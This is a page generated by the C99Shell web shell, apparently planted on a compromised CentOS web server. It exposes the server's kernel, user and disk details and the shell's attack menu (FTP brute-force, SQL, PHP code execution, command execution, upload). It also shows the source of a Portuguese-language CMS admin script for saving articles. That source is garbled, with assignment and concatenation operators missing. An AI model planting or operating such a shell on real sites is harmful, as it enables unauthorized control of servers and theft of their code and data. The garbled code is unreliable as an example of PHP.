!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/admin/artigo/   drwxr-xr-x
Free 9.4 GB of 93.48 GB (10.06%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     artigo_grava.php (5.84 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    
#############################################################################
    # Nome: artigo_grava.php                                                    #
    # System: Irpen                                                             #
    # Criado por: João Paulo MArques dos Santos                                 #
    # Empresa: Netnigro                                                         #
    # E-mail: breno@netnigro.com.br                                             #
    # Descrição: Inclusão, alteração e inativação de artigo                     #
    # Histórico:                                                                #
    #    . 30/03/2011 João Paulo Marques dos Santos                             #
    #            Criação da Página                                              #
    #############################################################################

    // Includes
    
include("../../config/config.php");
    include(
INCLUDES "conexaoBD.php");    
    include(
INCLUDES "sentencas_sql.php");
    include(
INCLUDES "funcoes_uteis.php");
    include(
INCLUDES "valida_usuario.inc.php");


    
    
// Parâmetros provênientes da requisição
    
$titulo                    $_POST["txtTitulo"];
    
$dt_inicio_publicacao      FormataData($_POST["txtDtInicioPublicacao"],"BD") . " " $_POST["txtHInicioPublicacao"];
    
$dt_termino_publicacao     FormataData($_POST["txtDtTerminoPublicacao"],"BD") . " " $_POST["txtHTerminoPublicacao"];      
    
$hiperlink_externo         $_POST["txtHiperlinkExterno"];
    
$novidadeSN                $_POST["ckbNovidadeSN"];
    
$importanteSN              $_POST["ckbImportanteSN"];
    
$vis_homeSN                $_POST["ckbVisHomeSN"];
    
$texto_resumido            stripcslashes($_POST["txtTextoResumido"]); 
    
$texto_completo            stripcslashes($_POST["txtTextoCompleto"]); 
    
$dt_cadastro               date("Y-m-d H:i:s");
    
$tipo_fonte                $_POST["rdgFonteArtigo"];
    
$dest                   'N';
        


    
//echo '<p>'.$idIMG.'</p>';
    
    //die();
    
    
if($tipo_fonte == "O")
    {
        
$fonte $_POST["txtFonte"];  
    }
    else
    {
        
$fonte null;
    }
    
    if(isset(
$_POST["ckbPeriodoIndefinidoSN"]))
    {
        
$periodo_indefinidoSN  $_POST["ckbPeriodoIndefinidoSN"];
    }
    else
    {
        
$periodo_indefinidoSN "N";
    }
    
    
$cod_artigo    $_POST['hddArtigo'];
    
    
// Ação que o script deverá executar (Inclusão - I, Alteração - U, Ativação - A ou Inativação - IN)
    
$acao           $_POST['hddAcao'];
    
    if(isset(
$_POST["btnAtivar"]))
    {
        
$acao "A";
    }
    elseif(isset(
$_POST["btnInativar"]))
    {
        
$acao "IN";
    }  
    
    
$erro false;


    
//echo($acao);

    
switch($acao)
    {
        
// Inclusão de notícia
        
case "I":
                 
$sql        INCLUI_ARTIGO;
                 
$tipo_dados TIPO_DADOS_INCLUI_ARTIGO;
                 
$parametros = array($titulo,$dt_cadastro,$periodo_indefinidoSN,$dt_inicio_publicacao,$dt_termino_publicacao,'P',
                                     
$hiperlink_externo,$texto_resumido,$texto_completo,$fonte,$novidadeSN,$importanteSN,$vis_homeSN,$dest,$idIMG,0);
                 
$msg        "Artigo incluído com sucesso!";

                 break;
                            
        
// Alteração dos dados da notícia
        
case "U":
                 
$sql        ALTERA_ARTIGO;
                 
$tipo_dados TIPO_DADOS_ALTERA_ARTIGO;
                 
$parametros = array($titulo,$dt_cadastro,$periodo_indefinidoSN,$dt_inicio_publicacao,$dt_termino_publicacao,'P',
                                     
$hiperlink_externo,$texto_resumido,$texto_completo,$fonte,$novidadeSN,$importanteSN,$vis_homeSN,$dest,$idIMG,$cod_artigo);
                 
$msg        "Artigo alterado com sucesso!";
                 break;
                  
        
// Ativação da notícia
        
case "A":
                 
$sql        ATIVA_ARTIGO;
                 
$tipo_dados TIPO_DADOS_ATIVA_ARTIGO;
                 
$parametros = array($cod_artigo);
                 
$msg        "Artigo ativado com sucesso!";
                 break;
                  
        
// Inativação da notícia
        
case "IN":
                  
$sql        INATIVA_ARTIGO;
                  
$tipo_dados TIPO_DADOS_INATIVA_ARTIGO;
                  
$parametros = array($cod_artigo);
                  
$msg        "Artigo inativado com sucesso!";
                  break;
    }
  
/*
    echo 'Stmt: '.$stmt.'<br />Tipo_dados: '.$tipo_dados.'<br />Parametros: <br />';
    echo '<pre>';
    print_r($parametros);
    echo '<pre>';
    die();
   */
    
if($stmt $conexao->prepare($sql)) 
    {
        
// Anexa os parâmetros na senteça sql
        
$res db_stmt_bind_param($stmt,$tipo_dados,$parametros);
         
       if(
$res)
       {
            
// Executa a query
            
$exec $stmt->execute();
            
            if(
$exec)
            {  
                
$stmt->close();                   
                
$conexao->commit();
            }   
            else
            {
                
$erro true;  
                
$msg $stmt->error;
                
$stmt->close();
            }           
        }
        else
        {       
            
$erro true;             
            
$msg "Erro"
        }
     }
    else
    {    
        
$erro true;          
        
$msg "Erro";  
    }
    
    
$parametros_url = array("msg" => "$msg");
    if(
$erro)
    {
        
$parametros_url["erro"] = "S";                                   
    }
      
    if(
in_array($acao,array("I","U")))
    {
        
Redireciona("artigo_cad.php",$parametros_url);
    }
    else
    {
        
Redireciona($_SESSION["link_voltar"],$parametros_url); 
    } 
    
?>


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0035 ]--